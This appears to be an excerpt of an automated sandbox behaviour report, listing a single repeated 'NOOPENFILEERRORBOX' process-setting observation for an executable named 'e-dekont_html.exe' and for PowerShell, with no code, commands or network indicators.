Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
